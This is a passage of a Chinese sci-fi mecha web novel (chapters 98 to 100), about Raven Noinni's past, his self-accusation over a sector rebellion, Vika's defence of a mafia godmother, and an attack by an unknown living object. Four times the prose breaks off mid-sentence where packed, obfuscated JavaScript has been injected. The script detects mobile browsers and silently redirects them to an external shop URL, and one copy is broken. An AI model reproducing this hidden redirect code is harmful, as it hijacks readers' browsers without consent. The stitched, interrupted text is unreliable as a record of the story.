父亲鲜少如此多言,他本应是个石头般沉默的男人。 小渡鸦茫然地仰起头,却始终看不清父亲逆光中的脸庞。 他只能看清,一枚漆黑的机甲钮挂在父亲腰间。 名字…… 名字…… 那枚机甲钮……有没有自己的名字呢? 父亲只匆匆回来了一趟,如同短暂歇脚的候鸟。 这其实和之前没什么两样。 但小渡鸦的直觉十分敏锐。 他没由来地觉得,有一把看不见的达摩克利斯之剑,紧紧地贴在父亲的头顶上。 几天后,小渡鸦的直觉应验了。 杜尚别元帅——一位平日里只在电视中出现的大人物——在一个风和丽日的下午出现在小渡鸦的面前。 “……噢,他竟然真的有一个孩子……他竟然还这么小。”步入中年的杜尚别喃喃低语,又缓缓蹲下,平视小渡鸦的双眼,“孩子,你叫什么名字?” 小渡鸦冷静地回答:“拉文·诺因尼。” “噢,拉文。”杜尚别把这个名字咀嚼了几遍,终于攒足勇气,堪称残忍地开口,“我杀死了你的父亲。” 小渡鸦愣住了。 “你的父亲试图刺杀我,但他失败了,我反杀了他。”杜尚别说话毫不委婉,即使面前的渡鸦只是个孩子,“我已经查清楚了,你父亲受了我政敌的蒙骗,他以为不杀了我,诺因尼家族就会遭到清算……” “你杀了我父亲。”小渡鸦平静地总结。 杜尚别猛地闭嘴。 小渡鸦说出这句话时,既无波澜,也无情绪。 但杜尚别在这小小的孩子身上,莫名看到了老渡鸦的影子。 老渡鸦,帝国最后一位死神,末代皇帝最亲密的隐臣,已在一个冰冷的冬夜投入死神的怀抱。 老渡鸦的儿子不成大器,老渡鸦的孙子……却有故人当年的风姿。 一个疯狂的念头在杜尚别脑中骤然出现。 杜尚别将口袋里的机甲钮掏出。 那枚漆黑的机甲钮上,还残留着几滴凝固的血。 “这是‘夜哨’,你祖父的遗物——你父亲一直贴身带着它。”杜尚别把机甲钮递给小渡鸦,“现在,它是你的了。” 小渡鸦没有接。 他稚嫩的双眼平视着半蹲的杜尚别。 他今年八岁,母亲早逝,由父亲一个人抚养长大,但大多数时间里,他都孤独地待在诺因尼家族的老宅里—— 暗红的走廊上挂着一幅幅无笑的画像,小小的渡鸦就在一位位先祖画像的注视下徘徊,宛如一个活着的幽灵。 他时常感到孤独得发疯。 他觉得,这栋老宅几乎要把他整个吞没。 但那个时候,他至少可以期盼,他的父亲带着一身夜露疲倦归家,打破这份噬人的孤独。 可如今,这份期盼,再也不能有了。 小渡鸦伸出手,接过那枚机甲钮:“它……有名字啊。” 名字是羁绊的开始。 他应该给那台清洁型机甲取一个名字。 就像他的父亲给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719764|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取名一样。 杜尚别不明白这话的意思:“嗯?” “它叫夜哨?” “对,它是白璐和石琳的遗物……你知道石琳吗?她是你的祖母,白璐很喜欢她。” “我可以驾驶它吗?”小渡鸦问。 杜尚别再次沉默。 一个八岁的孩子想要驾驶机甲并不稀奇,因为联邦每个孩子,都会有这样的梦想。 但小渡鸦说这话时,一双眼睛直勾勾地盯着杜尚别。 宛如黑夜中的死神,盯着镰刀下的猎物。 杜尚别也这么问了:“你驾驶机甲,是为了什么?” 小渡鸦没有说话。 他怜惜地抚摸那枚漆黑的机甲钮,如同抚摸一颗希望的种子,亦或者一枚通往冥府的路牌。 小渡鸦再也没有回到那栋祖宅。 他卖掉了祖宅。 在萧寒剑的建议下,杜尚别买下了那栋祖宅,并告知小渡鸦——若你成功杀死我,这栋祖宅会原封不动地归还给你。 “我不会杀他,他是开国元帅,所有人都爱戴他。”小渡鸦在公园长椅上晃荡双腿,说道。 二十七岁的萧寒剑展开双臂搭在椅背上,偏头戏谑地看着小渡鸦:“真的吗?” 小渡鸦沉默。 “老头儿把我当男孩养大,所以我最懂男孩的心思,尤其是一个帝国男孩的心思。”萧寒剑翘起二郎腿,“帝国男性信奉缄默信条,当一件事只需动手就能解决,便不必动嘴声张——尤其你还是一位诺因尼,你天生就是夜色中的死神,男孩。” 小渡鸦说:“叫我拉文,别叫我男孩。” 萧寒剑说:“但你在作业本上的署名是‘渡鸦’,而不是‘拉文·诺因尼’……你在回避那个让你感到痛苦的名字,不是吗?” “……” “笑一个,渡鸦,这个新名字没什么不好的。”萧寒剑眯起来的双眼里闪着细光,“我也在八岁时没了父母,我知道怎样能让你开心起来。” 小渡鸦终于停止晃荡双腿,第一次把目光投向萧寒剑——他的杀父仇人的女儿。 萧寒剑变魔术一般,从身后掏出一个小蛋糕:“当当当当~” 小渡鸦:“……” 小渡鸦:“您是什么意思?” “今天是你的九岁生日,祝你生日快乐!”萧寒剑大笑起来,“即使死神也有休息日,在今天,你就大口吃蛋糕,做一个平凡幸福的普通人吧!” 小渡鸦看着萧寒剑,像看着一个傻得冒泡的天外来物。 几秒后,他伸手接过小蛋糕,夸张地张开嘴巴,恶狠狠地咬了一大口: “嗷呜!” “生日快乐,我的小孙儿。”一个温柔的女声细声细气地说,“愿你幸福美满地度过一生,不要困在……诺因尼的诅咒里。” 那是谁的声音? 诺因尼的诅咒……又是什么? 啪! 灯光刺破黑暗,会议室的灯被打开了。 二十岁的渡鸦坐在桌子一头,看着另一头的维卡·德维尔潘。 “你举报我通敌?”维卡横眉冷对,伶牙俐齿,“拉文·诺因尼,第七扇区的政变至今没有定论,连萧寒剑上将都不敢把莉莉丝女士定义为叛国者,你有什么理由说我通敌?” 所有人都炯炯地看着渡鸦。 渡鸦深吸一口气,突然明白了,诺因尼的诅咒到底是什么。 “……我怀疑,这场独立战争是因我而起。”于众目睽睽之中,渡鸦轻声说,“维卡,我检举的人不是你,而是我。” 死神从不说话。 死神只会挥舞祂的镰刀。 而战争……正是死神最锋利的镰刀。 98. 豌豆(九) 此话一出,全场皆惊。 埃德蒙再次打开渡鸦的检举信,从头到尾认认真真地读了一遍。 维卡的脸色也不太好看。 召开这场会议前,维卡在埃德蒙的授意下看过那封信。 她出离愤怒,因为渡鸦言辞凿凿,认为一定有人背叛了联邦,导致第七扇区叛变。 但那封信没有指名道姓。 维卡一直认为,渡鸦既然要求她出席,检举的对象必然也会是她。 只是,维卡没有想到,世上竟会有如此愚蠢之人,竟然大张旗鼓地搜罗证人,要证明自己有罪。 维卡的眼神都变了:“拉文·诺因尼,你这又是何苦呢?” 渡鸦没有说话。 埃德蒙看完了信,将信重新折起,颇为头疼地撑住额头,重重地叹了一口气。 他环视一周,目光在会议室内每个人的脸上快速掠了一圈。 ——所有上了前线的学生都来了。 ——他们是联邦的未来,他们是联邦的希望,他们是联邦的理想。 ——他们青春洋溢,宛如早上八九点钟的太阳。 埃德蒙深吸一口气。 他终于下定决心,曲起指节敲了敲桌面:“诸位,请听我一言。” 待众人将目光投向埃德蒙,埃德蒙沉声道:“今天,我在这间会议室里说过的话,请你们务必谨记于心,同时不可告知任何无关人士,尤其是军部之外的人。” 所有人整齐点头。 “如今,联邦正值多事之秋。”埃德蒙一边说着,一边冷厉地审视所有人的表情,“想必部分人已经有所猜测——为何机械军团如此来势汹汹?为何联邦对这场战争呈现出既积极又消极的矛盾态度,以至于连辎重补给都无法及时运输?” 埃德蒙停顿片刻,一字一顿地说:“因为,联邦内部已经开启了第四次大清洗!” 大清洗! 所有接受过义务教育的人,对这个沉痛的词语都不陌生。 会议室内,气氛一瞬间冷凝如冰。 郗灵沉默地环视会议室。 昔年,维尔莱德以自己的生命为代价,开启了联邦第一次大清洗。 经过这场肃清,存活下来的官员仅有数十人,给了当时的官僚体系致命一击。 但凡事有一便有二,有二便有三。 如此惨烈的大清洗运动,在维尔莱德死后,仍以不同的借口和理由,再次启动了两次。 联邦经过三次大清洗后,已经完成了三次大换血。 但整个联邦,依然飘浮在一团巨大的泡沫上—— 在发达的第一至第三扇区,公民们被账面财富的幻象裹挟,透支未来十几年的贷款来满足当下的消费。 地价与房价以离谱的速度飙升,中央星核心区域一块巴掌大的地皮,甚至可以买下第四扇区的一颗小型行星。 但截然相反的是,排序越靠后的扇区,其内部的贫穷和罪恶就越触目惊心—— 核心产业被大型公司垄断,大量不合格的商品被运输至当地倾销。 黑色产业滋生,犯罪率飙升,抢劫和杀人时有发生。 物价极高的同时收入却极低,普通人要满足基本温饱,就得付出一整天的辛劳。 于是富者愈富,穷者愈穷。 凡有的,还要加给他,叫他多余。 凡没有的,连他所有的,也要夺去[1]。 “如今,军部青黄不接,已经承受不起折损人才的代价,因此,维持稳定是首要且唯一的选择。”埃德蒙深深地注视着渡鸦,“如果大清洗的风波真的波及了军部,那么,面对机械帝皇的汹汹攻势,联邦将彻底无人可用。” 埃德蒙的话颇具深意。 这也是他第一时间押下检举信,将影响控制在第七军团内部的原因。 ——我们的敌人,不仅在外部,还在内部。 ——别给敌人露出破绽。 ——不要因小失大,为了程序上的正义,损失了己方的有生力量。 渡鸦低着头,看不清眼神。 在维卡复杂的注视中,渡鸦如同一只不伶俐的鹦鹉,固执又沙哑地重复着那句话:“我检举的人,是我自己。埃德蒙副官,我只是想知道,我是否有罪。” 埃德蒙冷静地问:“你仍然认为,你是第七扇区叛变的导火索,是吗?” 渡鸦回答:“是。” “拉文·诺因尼,你脑袋里装的都是水吗?”维卡再也不堪忍受,高声问道,“你以为,莉莉丝想要的,真的是夜哨吗?” 郗灵和莱茵对视一眼,瞬间明白了前因后果。 他们知道,维卡想要夜哨的初始数据,但没想到,真正想要这份数据的,是她背后的莉莉丝! 维卡和莉莉丝联络过! 难怪渡鸦要检举维卡通敌! 但现在,维卡却说,莉莉丝想要的并不是夜哨? 莉莉丝到底想要什么? “她只是需要一个开战的借口。”维卡的语气堪称怜悯,里面又含着深深的不忍,“第七扇区被联邦压迫良久,它举起反旗,已是必然之理。” 轰! 明明没有一个人说话,但所有人的脑中都“轰”地炸响了。 维卡的话揭开了那层遮羞布,将联邦内部混乱的情况,摆在了明面上。 维卡沐浴着所有人的目光。 那些目光或震惊,或凝重,或质疑。 但维卡并不后悔这么说。 她昂首挺胸地坐在椅子上,仿佛一位不畏死的斗士。 唯有与卫惊鸿的目光相接时,维卡冰封般的神色才终于有了一丝动容。 卫惊鸿静静地、孤独地坐着,身边没有一个队友。 ——在维卡的指挥下,为了赚取更多的团队分数,银鹰军校的所有人,都调去了后勤区。 ——唯有卫惊鸿说服了维卡,留在了危险的前线。 卫惊鸿的目光十分温柔,但维卡知道,这位看似冷若冰霜的队长,内心却有着火一样热烈的理想。 她希望联邦拥有光明的未来。 她希望所有人都可以拥有光明的未来。 但卫惊鸿的理想,注定无法实现了。 维卡停顿片刻,用力扭过头,看向坐在上首处的埃德蒙。 但是,当她看着埃德蒙的眼睛时,却意外地没有在里面发现任何愤怒或指责。 埃德蒙静静地看着维卡,仿佛看着一面映照联邦得失的镜子。 维卡心头一震,一个大胆的念头浮现在脑中。 她的手心顿时沁满了冷汗。 ——亲爱的母亲啊。 ——你的女儿,要成为德维尔潘家族最失败的商人了。 “我第一次和莉莉丝女士接触,是因为一笔机甲订单。我为家族开辟了第七扇区的机甲市场,也正因如此,我才成为了家族最受重视的继承人。” 维卡沐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724090|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴在无数复杂的目光中,视线却只牢牢锁在渡鸦身上,“我承认,我和莉莉丝女士不只是生意伙伴——她是我的忘年交,还跟我说过许多关于第七扇区的事。” 轰! 如果渡鸦的自我检举是第一颗炸弹,那么维卡的自爆发言,就是第二颗炸弹。 卫惊鸿立刻瞪大了双眼:“维卡!” ——即使莉莉丝的罪行还未有定论,但她发起战争,注定不会有好下场! ——你为什么要说自己是她的好友! 但维卡竟然笑弯了双眼:“诸位,你们知道,第七扇区为什么需要机甲吗?” “……因为二手机甲很便宜?”龙小葵小声发言。 “购置和维护一台二手机甲的费用,可以雇佣一百个当地工人。”凯撒低声说,“而且,第七扇区是不法之地,公司不仅不会给工人购买保险,甚至连基本工资都会拖欠。” 焦新叶说:“小葵,在第七扇区,人口是资源,更是耗材。” 龙小葵闷闷低下头。 炎琳摸了摸龙小葵的脸颊,又轻声道:“是因为青壮劳力不足。” 这是炎琳第一次主动发表自己的意见。 这是一个十分敏感的话题,炎琳并非联邦人,本应闭口避嫌。 但她还是说出来了。 “第七扇区常年战乱,青壮年要么死于战火,要么逃向其他扇区,剩下的多是老弱病残,根本凑不出足够的劳力。”炎琳的音色甜美如蜜,却含着深沉的悲悯,“而且,二手破损的黑机甲,几乎花不了多少钱,十几个家庭一起凑一凑,还是买得起的。” “我和莉莉丝女士的第一笔交易,就是二十台报废的黑机甲。”维卡轻声说。 郗灵安静地看着维卡。 维卡性情阴晴不定,时而懒钝,时而犀利。 但这一刻,她周身的躁气尽数敛去,唯余近乎沉郁的平静。 “莉莉丝女士虽是黑手党教母,却比当地政府更得民心。”维卡的声音轻柔如夜曲,却如一只有力的大手,缓缓揭开了障眼的黑幕,“那一年,凤凰上将再次战胜机械军团。当她离开后,第七扇区却是民不聊生、满地狼藉。” “大笔救助款从中央拨下来,经过层层盘剥,到了难民手里,却连一顿饱饭都换不来。” “房屋要修缮,土地要耕种,城市要重建,秩序要重塑。” “但没有力量,一切从何谈起?” “莉莉丝女士主动担起了这份责任,而德维尔潘家族的机甲产业,是第七扇区最需要的力量。” “她主动找到了我,希望和我的家族建立友谊。” “那时的我满腔热血,以为莉莉丝只是为了骗取优惠才满口胡诌。” “我瞒着母亲买了一张船票,一个人去了第七扇区。” “但你们知道,在下船的一瞬间,我看到了什么吗?” “我看到了满地枯黄的骸骨,散乱地堆在机场外的荒地上,离飞船降落的跑道不过几百米。” “前来接机的莉莉丝女士告诉我——有太多难民为了挤上逃难的飞船被踩踏致死,他们的尸身无人认领,于是只能就地挖浅坑埋了,可风吹雨淋,骸骨又露了出来,散得到处都是。” “那时的我又惊又怒地反驳:‘那是一堆骷髅啊!他们已经死了这么久,都没人来处理后事吗?’” “那时的莉莉丝女士回答:‘维卡,不要惊讶,因为战争就是这样一件残忍的事。’” 99. 豌豆(十) “莉莉丝女士全款买下了二十台黑机甲,我们一手交钱,一手交货。” “说实话,那是我这辈子做过的最小的生意。” “但我一辈子也忘不了这笔生意。” “我卖出了二十台濒临报废的机甲,破破烂烂的外表,破破烂烂的性能,破破烂烂的价格,即使扔进焚化炉都是在浪费燃料。” “但就是这二十台机甲,重建起了一个城市。” “不,那根本不是城市。” “那只是一群开智的无毛狒狒,在河流边搭建起来的一大片草棚。” “一切仿佛世界伊始,泥巴和芦苇盖成的屋子沿河岸排开,河床里的鹅卵石光滑如巨蛋[1]。我和莉莉丝女士漫步在河边,看她戴着长手套的手一一指过目光所及的人与物,于一片草莽中规划这个城市的未来。” “她说:我虽行于漆黑之道,但第七扇区的人民,应该沐浴在光明中。” “这句话,对当时的我简直是会心一击。” “我见证无上苦难,又目睹她如救世主般力挽狂澜。” “我发狂般迷恋上她,冲动地和她签下一笔大额订单,带着微薄的定金返回家族,和我的母亲据理力争。” “母亲说我受了蒙骗,黑手党教母不会有如此柔软的心肠,她救助难民,本质上是为了吸引劳动力,以及拉拢人心。” “但我不这么觉得。” “凡事论迹不论心,就算她是个伪君子又如何呢?只要她救人一日,她就是一日的善人。” “但母亲的话的确为我敲响了警钟,我带着审判的心和她建立起友谊。” “几年相处下来,我不得不承认,她是一位合格的教母。” “她手段残忍,心肠冷硬,初见时的柔软笑靥不过只是伪装。” “她会抓着敌人的脑袋狠狠砸上台阶,直到磕断那人的门牙。” “她会在杀人后淡然擦去枪上的血,然后优雅地迎接下一个麻烦。” “她会幽默风趣地讨论与她为敌者的下场,一个赛一个凄惨疯狂。” “但就算她是个残忍又冷酷的家伙,她也比第七扇区那些尸位素餐的官员做得更好!” “政府没有重建那些沦为废墟的城市,却把总督府修缮得如同皇宫一般!” “政府宁愿给首都的马桶镶金边,也不会拨钱给乡下修水泥路!” “政府在新闻里吹嘘第七扇区即将依靠矿业振兴,但一批又一批黑工死在矿井里,连老鼠都无法到达那样的深处,去啃啮他们的骨头!” “但政府不做的事情,黑手党在做。” “黑手党比警察更好说话,因为黑手党不会像警察一样浪费子弹。” “黑手党对所有人征收保护费,但保护费比税便宜,而且他们真的会保护人。” “黑手党渴望秩序,因为黑手党需要从‘人’身上牟利,而‘人’只有在秩序下才会越来越多。” “第七扇区的法律由黑手党书写,这是当地人深谙于心的缄默法则。” “不可否认,第七扇区有太多的问题,再厉害的总督,也无法改变这个扇区混乱黑暗的现状。” “但我重申自己的观点——我从不认为,莉莉丝女士做错了什么。” “她是亲手在战后重建起秩序的人。” “创造比毁灭更加艰难。” “如今她发起战争,亲手毁灭了自己创造的秩序,这对她无疑是沉痛至极的决定。” “但她为什么要做出这样的决定?” “她为什么要让自己多年的心血毁于一旦?” 维卡语气激昂,眼神却极冷:“拉文,埃德蒙副官,还有在座的诸位,你们大可以想一想,除了一己私欲,还有什么会让莉莉丝女士不惜发起战争?” 会议室内陷入可闻落针的沉默。 龙小葵似乎想说什么,却被炎琳紧紧捂住了嘴巴。 埃德蒙灰色的独眼凝视着维卡。 “……你真是让我大开眼界。”良久,埃德蒙低声说,“我不由得感慨,联邦的教育真的出了问题——你基于现实拥有了这样残酷的思想,宛如一块良木被扭曲地雕琢。” 维卡愣住了。 她喃喃追问:“您这是什么意思?” “我从你身上感受到了愤怒。不止是你,我从所有学生身上,都感受到了发自肺腑的愤怒。”埃德蒙说,“那是理想主义者被现实击碎幻想而产生的愤怒,你们不知道这怒火应该向谁发泄,你们只能愤怒,无谓的愤怒。” “你们看清了这个世界的全貌,它混乱、丑陋,且与你们息息相关。”埃德蒙抬起头,“你们的灵魂无立足之地,你们如无头苍蝇般屡屡碰壁,却只能看着自己的理想一点点死去,如同看着一个婴儿在襁褓中失去呼吸。” 他的声音出现了一丝微不可察的颤抖:“你们,被所接受的教育背叛了。” 说出这句话的一瞬间,埃德蒙脸上的表情,竟然称得上悲凉。 郗灵看着埃德蒙,脑中突然冒出了一个想法。 ——他也遭遇过这样的背叛。 ——每个人从前都是学生,他在当年,也曾被所接受的教育狠狠地背叛过。 总有人将这份“背叛”美化为“重塑”,又将这“重塑”定义为“成长”。 但成长不该这样痛苦,痛苦得让人麻木。 即使在少年时代,骨头疯狂生长的时候,也不该痛得连眼泪也掉不出来。 这时,渡鸦轻声开口:“我明白你的意思,维卡。” 维卡抬头看他。 “这场战争必然爆发,即使没有我,也会有其他人成为导火索。”渡鸦平静地看着维卡,“但我依然坚持我的观点——我是无可饶恕的罪人,莉莉丝女士的罪有多重,我的罪便有多重。” 维卡的目光愤怒又怜悯:“莉莉丝女士没有罪!” “机械帝皇仍在虎视眈眈,但她却发起了又一场战争。” “第七扇区的人,跟着她拼一把或许还有活路,但继续被联邦压迫就是死路一条!她没有错!” “你杀过生吗?”渡鸦突然问。 维卡再次愣住。 渡鸦的双眸如镜子般平静。 他说:“我杀死过一台机甲。” 维卡倒吸一口凉气,又艰难地反驳:“虽然机甲是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731923|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生命,但它们毕竟是战争机器……” “我剥开了它的机壳,露出了里面的胚胎。”渡鸦轻声打断她,“那胚胎没有皮肤,温热、柔软、脆弱。它失去了保护壳,浑身流淌着鲜血。我早就知道机甲是生命,但只有在它流出鲜血的那一刻,我才真正认识到这一点。” “维卡,生命无贵贱,任何信念都不该凌驾于具体的生命之上。”渡鸦叹出一口气,“你认为你是对的,因为凡事必有代价,但你这样说,又和那些视人命如草芥的家伙有什么区别呢?” “他们拥有权力,一句话就能决定千万人的命运。” “你没有权力,但你的心已和他们一样了。” “除非那个代价是你自己,不然,你没有资格去决定任何人的生死。” 维卡沉默良久。 她深吸一口气,第一次彻底收起了身上的躁气。 她问:“你写下那封检举信,理由就是这个?你是想弄明白,这场战争是否可以避免?” 渡鸦答:“是。” 维卡问:“如果战争真的可以避免,如果战争真的是因你而起,你打算怎么办?” 渡鸦答:“我会认罪,然后赎罪。” 维卡发出冷笑:“赎罪?你一个人如何背负一整场战争的罪孽?” 渡鸦平静地看着维卡。 他说:“我的确罪无可恕。我会杀死夜哨,然后自杀。” 埃德蒙的眼神一下子变了。 他看着维卡的目光尚能视作悲惋,但他看着渡鸦的目光几乎称得上惊惧。 “拉文·诺因尼,你需要接受心理疏导。”埃德蒙立刻终止会议,“医疗部,心理部,立刻派医师过来!” 轰!!! 整艘母舰突然剧烈震荡。 会议室内灯光噼啪闪跳,几秒后迅速恢复正常。但一股强烈的余波仍在这片银河中回荡,让会议室的电子屏幕不停闪动着雪花。 埃德蒙猛然起身:“什么情况?!” 指挥部成员的面部投影出现在大屏幕上:“报告副官,检测到未知高能物体,正在高速向我方逼近!” 埃德蒙眼皮直跳:“未知高能物体?” “是!它的能量级别与‘生产机床’相当,但根据检测到的数据,它似乎并非机械造物……” 指挥部成员停顿半秒,目光扫向屏幕一侧,像是捕捉到了一条新数据。 她的脸色瞬间变得苍白:“埃德蒙副官,那个东西有生命体征——它、它是活的!!” 这片银河中弥漫着强烈的谐波,嘈杂令人作呕。 郗灵脸色苍白,摇摇晃晃地站起来,脚步虚浮地走到舷窗边。 她的双眼沉静地凝望着窗外—— 宇宙漆黑阒寂,如同亘古的坟茔。 但视野尽头,一颗比浮尘还要渺小的白色光点,正以肉眼难辨的频率安静闪烁。 刚才那些混乱的谐波,正是来自那个遥远的白色光点。 郗灵的心脏一瞬间紧缩起来。 ——在那片混乱的谐波中,她听到了“歌声”。 ——和“大乐章”如出一辙的,生命的“歌声”。 100. 豌豆(十一) 第七军团再次进入一级迎战状态。 萧寒剑是第七军团提督,也是本次战争的总指挥官。 可此刻,她竟还没有回来。 所有学生都在猜测萧寒剑的下落,最终却只等来了埃德蒙冰冷又果断的宣告—— “从现在起,由我担任第七军团临时提督!” 五位学生指挥官立刻起身,快速接入总指挥频道。 渡鸦被送去医疗部,郗灵负责陪同。 一路上所有人都在奔跑,郗灵和渡鸦几乎在逆着人流前进。 到了医疗部,郗灵看见一台台医疗舱被强制开启。 提示灯闪成一片红色的星海,一个又一个伤员被医师们中断治疗,从人造羊水中强行唤醒。 “心理部在那边。”一个医师指了指路。 “你们在做什么?”郗灵忍不住问。 “埃德蒙副官启用了最高规格的应战方案,所有能行动的伤员都要上战场。”医师语速飞快,手上动作却不停,“孩子,我听说过你的事情,你已经做得足够好了——但战争是大人之间的事,接下来,就交给我们吧。” 说完,医师从医疗舱中扶起一个伤员,轻轻拍打伤员的脸颊。 伤员被拍着脸颊唤醒时,眼神还是一片混沌迷蒙。 伤员睫毛上的水珠随着睁眼的动作一颗颗掉落,如同在睡梦中恍然落下了眼泪一般。 “战争……结束了?”伤员问。 “战争没有结束。”医师说,“你要上战场了。” 渡鸦眼神一颤。 过来的路上,他原本还有些小小的挣扎。 但听到这句话后,他的灵魂似乎一瞬间被击穿了。 渡鸦被郗灵带去心理疏导室。 这个思想如锥子般尖锐,还曾与伶牙俐齿的维卡争执得不相上下的黑发青年,此刻却迟钝僵硬如一块木头。 “他承受了太多的谐波,造成了精神污染,大脑里全是混乱的啸叫声。”心理医师把仪器中导出来的数据给郗灵看,“驾驶过机甲的人都有这种情况,只是或轻或重罢了。” 郗灵看向身后。 一个又一个医疗舱正在被打开。 一个又一个伤员正在被唤醒。 他们从琥珀色的梦中苏醒,却要被送往漆黑的坟茔。 郗灵抿紧嘴唇,一点点按紧了心口。 “孩子,这话我或许不该说,但你一定要记住。”心理医师看着郗灵苍白的脸庞,轻声道,“面对一个无法战胜的存在,战斗和逃跑都是正确的选择,可你千万不能停在原地,把生命的选择权交给你的敌人。” “我不会的。”郗灵回答。 确认渡鸦已经安全,郗灵放下按住心口的手,安静地看了渡鸦三秒钟。 ——“我检举的人,是我自己。” ——“莉莉丝的罪有多重,我的罪就有多重。” 郗灵轻声说:“拉文,休息一会儿吧。你的罪,自会有人来宽恕。” 郗灵头也不回地离开了。 渡鸦看着郗灵远去的背影,突然在某个瞬间撕开了套在身上的、无形的薄膜,和这个世界重新建立起了联系。 他“腾”地站起来:“我知道该怎么做了!” 心理医师柔和地看着他:“孩子,你打算怎么做?” “夜哨!”渡鸦从未如此激动,“我不该逃避那个问题了!我要去见夜哨!我要去问问它……” “无论你要做什么,你都应该和埃德蒙副官,或者和你的指挥官商量一下。”心理医师温柔地说,“驾驶机甲的你,尚可以是被呵护的学生,可一旦踏上战场,就算手里只握着一根脆弱的木棍,你也是一名真正的士兵了。” 渡鸦怔了片刻。 他看着虚空,矛盾的神色在脸上挣扎,而后,一点点攥紧了双手。 他说:“我的指挥官是莱茵·汉布格尔,我要去联络他。” 心理医师静静地看着渡鸦。 ——这些无辜的学生,因为政客们那长满脓包的脑袋被送上了战场,却从始至终都没有一句怨言。 他们接受的教育光明而纯粹,和这个浑浊黑暗的世界格格不入。 就像一条健康的鱼被投入核废水,即便存活下来,也会发生畸变。 但是,如果他们的理想仍然纯洁,这个世界是否会因他们而改变? 心理医师看着渡鸦的双眼:“去吧,士兵。等你平安回来,记得来接受心理疏导。” 是“士兵”。 而非“孩子”。 渡鸦点点头,摸了摸腰间那枚空心的机甲钮模型,又抚摸光脑,联系莱茵。 他经过一台又一台被开启的医疗舱。 舱体里,琥珀色的人造羊水仍在荡漾,而原本沉睡在里面的士兵,已经再次踏上了战场。 莱茵接通:“渡鸦?” “不必用那个滑稽的假名来称呼了我。”渡鸦说,“莱茵,叫我拉文。” 莱茵沉默片刻,轻声道:“我不是你认识的‘莱茵’,即使这样也没关系吗?” “我在见到你的第一面就知道了——我认识的那个莱茵,已经死了。”渡鸦的脚步越来越快。 他就要走出这片布满舱体的区域了:“我原本是不喜欢你的,你顶着莱茵的脸和身份,却不知会做出怎样毁坏他名声的事情——可你做得很好,至少,和我认识的莱茵一样好。” 通讯对面再次沉默。 几秒后,莱茵笑着说:“你始终把我和12号区分开,即使你一辈子讨厌我,我也很高兴,因为我在你眼中是13号,而非上一个‘莱茵’的影子。” 渡鸦哼了一声:“你的前任——上一位莱茵经常这样伤春悲秋,我希望你别有他那样的臭毛病。” 莱茵说:“我不是他,但你不能阻止我肖似他。毕竟,我和他拥有相同的基因。” 渡鸦没有接话。 这是莱茵第一次如此坦荡地讨论自己和12号的关系。 如同影子走到了光明中。 几秒后,腕部光脑里传来莱茵的声音:“拉文。” 渡鸦垂眸:“嗯?” “你真的准备好成为一位诺因尼了吗?” “我不知道。”渡鸦脚步不停,“但我知道,我不想一辈子躲在别人身后,以独醒之姿当一个懦夫。” 顿了顿,渡鸦又道:“我要去见见夜哨,我要问问我的祖母,当年,夜哨到底是怎么诞生的。” 莱茵没有追问。 这是诺因尼家族的秘密,也是那个被联邦刻意抹去的、属于维尔莱德和十位开国元帅的秘密。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737993|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是,莱茵说:“我会为你开启权限,并征得埃德蒙副官的同意。” 渡鸦轻笑:“谢了,莱茵。” 莱茵抚摸耳麦:“不客气,拉文。” * 郗灵找到了埃德蒙。 埃德蒙担任临时提督,正在舰桥指挥中心进行部署。 指挥部人声嘈杂,但郗灵耳中充斥着更为尖锐的噪音。 ——那噪音,是那未知的白色光点散发出来的谐波,和“大乐章”极其相似。 埃德蒙看到郗灵,微微皱眉:“你怎么不在医疗部?” “我已经把渡鸦送过去了。”郗灵回答。 “郗灵,你已经透支了身体,你也是个伤员。我让你送那小子过去,是希望你也在医疗舱里躺一躺。”埃德蒙摘下耳麦,严厉而不失关心地说,“现在,立刻,马上,回到医疗部去!” 郗灵如同双脚粘在原地一般,一动不动。 埃德蒙深深吸了口气,劝说道:“郗灵!” 